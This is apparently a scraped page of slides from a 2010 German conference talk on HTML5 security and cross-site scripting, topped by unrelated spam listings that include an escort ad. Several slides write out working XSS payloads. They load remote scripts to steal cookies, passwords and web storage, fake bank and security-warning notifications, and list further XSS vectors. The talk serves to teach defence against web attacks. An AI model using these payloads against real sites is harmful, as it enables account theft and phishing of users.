08448380779 Call Girls In Civil Lines Women Seeking Men
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 

HTML 5 Security

  • 1. HTML 5 Security XSS reloaded Frank Ruske | International PHP Conference SE | 02. Juni 2010 © Mayflower GmbH 2010
  • 2. XSS I XSS Typen · Nicht-Persistent oder reflektiv http://html5.security.local/examples/xss1.php/'><script>alert(/X SS/)</script> DEMO "GET /examples/xss1.php/'%3E%3Cscript%3Ealert(/XSS/)%3C/script%3 E HTTP/1.1" 200 Mayflower GmbH I 2
  • 3. XSS I XSS Typen · Persistent oder beständig http://html5.security.local/examples/xss2.php DEMO "GET /index.php?open=xss2 HTTP/1.1" 200 1413 Mayflower GmbH I 3
  • 4. XSS I XSS Typen · DOM-Basiert oder Lokal http://html5.security.local/examples/xss3.php#name=frank<script> alert(/XSS/)</script> DEMO. "GET /index.php?open=xss3 HTTP/1.1" 200 1413 Mayflower GmbH I 4
  • 5. XSS I Cookie Diebstahl http://html5.security.local/index.php/'><script type="text/javascript" src="http://www.frank-ruske.com/sec/payloads/cookie.js"></script><!- - DEMO Mayflower GmbH I 5
  • 6. XSS I DOM Passwortklau http://html5.security.local/examples/xss4.php/'><script src='http://www.frank-ruske.com/sec/payloads/dompwd.js'></script> DEMO Mayflower GmbH I 6
  • 7. Cross Site Request Forgery I Ausnutzen des Vertrauens einer Seite in den Benutzer I Zustandsloses Protokoll HTTP I Header als Authentifizierung bei jedem Request Mayflower GmbH I 7
  • 8. HTML5 (formerly titled Web Applications 1.0) Mayflower GmbH I 8
  • 9. HTML5 – Session Storage I Session Daten können lokal gespeichert werden · 5 - 10 MB pro Domain I Der Client (Browser) hat kompletten Zugriff auf die Session Daten. Mayflower GmbH I 9
  • 10. HTML5 – Session Storage auslesen I Session Storage auslesen http://html5.security.local/index.php/'><script src='http://www.frank- ruske.com/sec/payloads/sessionStorage.js'></script>?open=session_sto rage_2 DEMO Mayflower GmbH I 10
  • 11. HTML5 – Local Storage / Web Storage I Daten können lokal gespeichert werden · 5 - 10 MB pro Domain Der Client (Browser) hat kompletten Zugriff auf die Lokalen Daten. User Tracking, Marketing, Botnet, Würmer. Mayflower GmbH I 11
  • 12. HTML5 – Local Storage Exploit / CSU – Cross Side Ursula /'><script src='http://bit.ly/bHzqiG'></script>?open=local_storage_2 Mayflower GmbH I 12
  • 13. HTML5 – Cross-directory attacks W3C Web Storage Editor's Draft 12 May 2010 Different authors sharing one host name, for example users hosting content on geocities.com, all share one local storage object. There is no feature to restrict the access by pathname. Authors on shared hosts are therefore recommended to avoid using these features, as it would be trivial for other authors to read the data and overwrite it. Mayflower GmbH I 13
  • 14. HTML5 – Datenbank I Lokale SQLite Datenbank · 5 - 10 MB pro Domain Mayflower GmbH I 14
  • 15. HTML5 – Datenbank Objekt und Methoden I db = openDatabase(shortName, version, displayName, maxSize); · shortName (Kurzname zum Zugriff im Browser und SQL) · Version (Datenbank Versionsnummer) · displayName (Voller Datenbankname) · maxSize (Erwartete Datenbankgröße / Memory Management) I db.changeVersion('1.0', '2.0', cv_10_20, error_10_20, success_10_20); I db.transaction · ExecuteSQL() Objekte: SQLResultSet, SQLResultSetRowList, SQLError Mayflower GmbH I 15
  • 16. HTML5 – Datenbank Beispiel Querys I executeSQL · CREATE TABLE Table1Test (id REAL UNIQUE, text TEXT) · DROP TABLE Table1Test · SELECT * FROM Table1Test · DELETE FROM Table1Test WHERE id=82 · INSERT INTO Table1Test (id, text) VALUES (4383, 'foobar') · UPDATE Table1Test SET text = 'foobar2' WHERE id = 9467 Mayflower GmbH I 16
  • 17. HTML5 – Datenbank sqlite_master Mayflower GmbH I 17
  • 18. HTML5 – Datenbank sqlite_master http://html5....?open=database&name=<script src='http://www.frank-ruske.com/sec/payloads/databaseStorage.js'></script> Mayflower GmbH I 18
  • 21. HTML5 – Notifications – Exploits · http://html5.security.local/index.php/'><script>window.webkitNotifications. createNotification('http://files.youporn.com/images/logoblack.png','Buy cheap Viagra NOW!!!!!!!!!!!!!!!!!!!!','We offer the best prices on the market!').show();</script><!-- DEMO · http://html5.security.local/index.php/'><script>window.webkitNotifications. createNotification('http://www.frank-ruske.com/sec/security.png','Security notice','It looks like your account was hacked. Please change your password now!').show();</script><!-- DEMO · http://html5.security.local/index.php/'><script>window.webkitNotifications. createNotification('http://www.frank- ruske.com/sec/deutsche_bank.png','Deutsche Bank - Wichtiger Hinweis','Es gibt Unstimmigkeiten mit Ihrem Onlinebanking Konto. Bitte loggen Sie sich jetzt ein, oder melden Sich umgehend bei ihrem Berater.').show();</script><!-- DEMO Mayflower GmbH I 21
  • 22. HTML5 – Navigator I Information Disclosure · window.navigator.appName · window.navigator.appVersion · window.navigator.platform · window.navigator.userAgent · window.navigator.onLine I Protokol und Content Handler · window. navigator.registerProtocolHandler(scheme, url, title) · window. navigator.registerContentHandler(mimeType, url, title) Mayflower GmbH I 22
  • 23. HTML5 – Custom Protocol Handlers & Content Handlers I Registrieren von Webanwendungen als handler für Protokolle und MIME Types I void registerProtocolHandler (in DOMString scheme, in DOMString url, in DOMString title); I void registerContentHandler (in DOMString mimeType, in DOMString url, in DOMString title); Mayflower GmbH I 23
  • 24. HTML5 – Custom Protocol Handlers im Firefox DEMO FireFox Mayflower GmbH I 24
  • 25. HTML5 – Custom Protocol Handlers & Content Handlers Mayflower GmbH I 25
  • 26. HTML5 – Offline Application Caching APIs I Definition: <html manifest="html5security.manifest"> · NETWORK, CACHE, FALLBACK I Cache Versionierung I Cache Status: · Uncached, Idle, Checking, Downloading, Updateready, Obsolete I Online oder Offline?: · var online = navigator.onLine; http://www.w3.org/TR/offline-webapps/#offline Mayflower GmbH I 26
  • 27. HTML5 – Offline Application Caching APIs http://html5.security.local/index.php?open=cache Mayflower GmbH I 27
  • 29. HTML5 – Cross-document messaging W3C HTML5 Draft Standard — 23 May 2010 9.2 Cross-document messaging “While this is an important security feature, it prevents pages from different domains from communicating even when those pages are not hostile. ” Mayflower GmbH I 29
  • 30. HTML5 – Cross-document messaging Mayflower GmbH I 30
  • 31. HTML5 – Cross-document messaging e.origin = optional , Wildcards erlaubt (*) http://html5.security.local/index.php?open=cross_document_messaging Mayflower GmbH I 31
  • 32. HTML5 – Cross-Domain messaging When a Document is created, its effective script origin is initialized to the origin of the Document. However, the document.domain attribute can be used to change it. Mayflower GmbH I 32
  • 33. HTML5 – Cross-Domain messaging Mayflower GmbH I 33
  • 34. HTML5 – Websockets Mayflower GmbH I 34
  • 35. HTML5 – Websockets I Websockets ·Bi-directional , full-duplex TCP Socket ·Server-Push (Kein Polling / Long-Polling mehr) ·Lediglich Handshake als HTTP-Request- und Response-Header ·2 Bytes Overhead  (Text Frame: 0x00 Byte + UTF-8 data + 0xFF Byte)  (Binary Frame: 0x00 + 0x10 (Klänge) + UTF-8 data) I Keine Latenz für den Aufbau neuer TCP /IP Verbindungen für jeden HTTP Request I Websocket URI ws://html5.security.local:8084/server.php wws://html5.security.local:8084/server.php (WebSocket Secure - TLS) Mayflower GmbH I 35
  • 36. HTML5 – Websockets Mayflower GmbH I 36
  • 37. HTML5 – Websocket Handshake Mayflower GmbH I 37
  • 38. HTML5 – Websocket JavaScript Mayflower GmbH I 38
  • 39. HTML5 – Websocket PHP Mayflower GmbH I 39
  • 40. HTML5 – Websockets http://html5.security.local/index.php?open=websocket Mayflower GmbH I 40
  • 41. HTML5 – Server-Sent Events I Datenstream vom Server (Push) Mayflower GmbH I 41
  • 42. HTML5 – Server-Sent Events I JavaScript API “EventSource“ · var stream = new EventSource("http://news.frank-ruske"); I Event Handler · stream.onopen = function() { alert('onopen'); } · stream.onmessage = function(event) { alert('onmessage: ' + event.data); } · stream.onerror = function() { alert('onerror'); } <eventsource src=”http://news.frank-ruske.com” onmessage=“var stream; event.stream.split('n'); alert(stream[0] + stream[1] + stream[2]);”> I EventStream (text/event-stream) Data wait();n Data wait();n Data: document.write(/css/);n Mayflower GmbH I 42
  • 43. HTML5 – XMLHttpRequest Level 2 I XMLHttpRequest Level 2 ·Progress events (loadstart, load, loadend, progress, abort, error) ·Cross-origin XMLHttpRequests ·Access-Control header Mayflower GmbH I 43
  • 44. HTML5 – XMLHttpRequest Level 2 Mayflower GmbH I 44
  • 45. HTML5 – XMLHttpRequest Level 2 Mayflower GmbH I 45
  • 46. HTML5 – XMLHttpRequest Level 2 Mayflower GmbH I 46
  • 47. HTML5 – XMLHttpRequest Level 2 Mayflower GmbH I 47
  • 48. HTML5 – XMLHttpRequest Level 2 – Header I HTTP response headers · Access-Control-Allow-Origin: <origin> | * · Access-Control-Max-Age: <delta-seconds> (Preflight cache) · Access-Control-Allow-Credentials: true | false · Access-Control-Allow-Methods: <method>[, <method>]* (Preflight) · Access-Control-Allow-Headers: <field-name>[, <field-name>]* (preflight) I The HTTP request headers · Origin: <origin> · Access-Control-Request-Method: <method> (Preflight) · Access-Control-Request-Headers: <field-name>[, <field-name>]* (Preflight) Mayflower GmbH I 48
  • 49. HTML5 – XSS – Vektoren I Focus: · <input onfocus=write(1) autofocus> · <body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> · <video><source onerror="javascript:alert(1)"> · <frameset onload=alert(1)> I Charsets: · <meta charset="x-imap4-modified- utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Ab g&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi · <meta charset="x-imap4-modified- utf7">&<script&S1&TS&1>alert&A7&(2)&R&UA;&&<&A9&11/script&X&> http://heideri.ch/jso/ Für mehr Beispiele Mayflower GmbH I 49
  • 50. Quellen I Resources: · http://html5demos.com @Remy Sharp (with personal permission - thanks a lot) · http://phpwebsocket.googlecode.com (GNU) · http://trivero.secdiscover.com/ · http://heideri.ch/jso/ · http://www.w3.org/TR/XMLHttpRequest2 Mayflower GmbH I 50
  • 51. Vielen Dank für Ihre Aufmerksamkeit! Kontakt Frank Ruske frank.ruske@mayflower.de Tel.: +49 931 35965 1161 Mayflower GmbH Pleichertorstraße 2 97070 Würzburg © 2010 Mayflower GmbH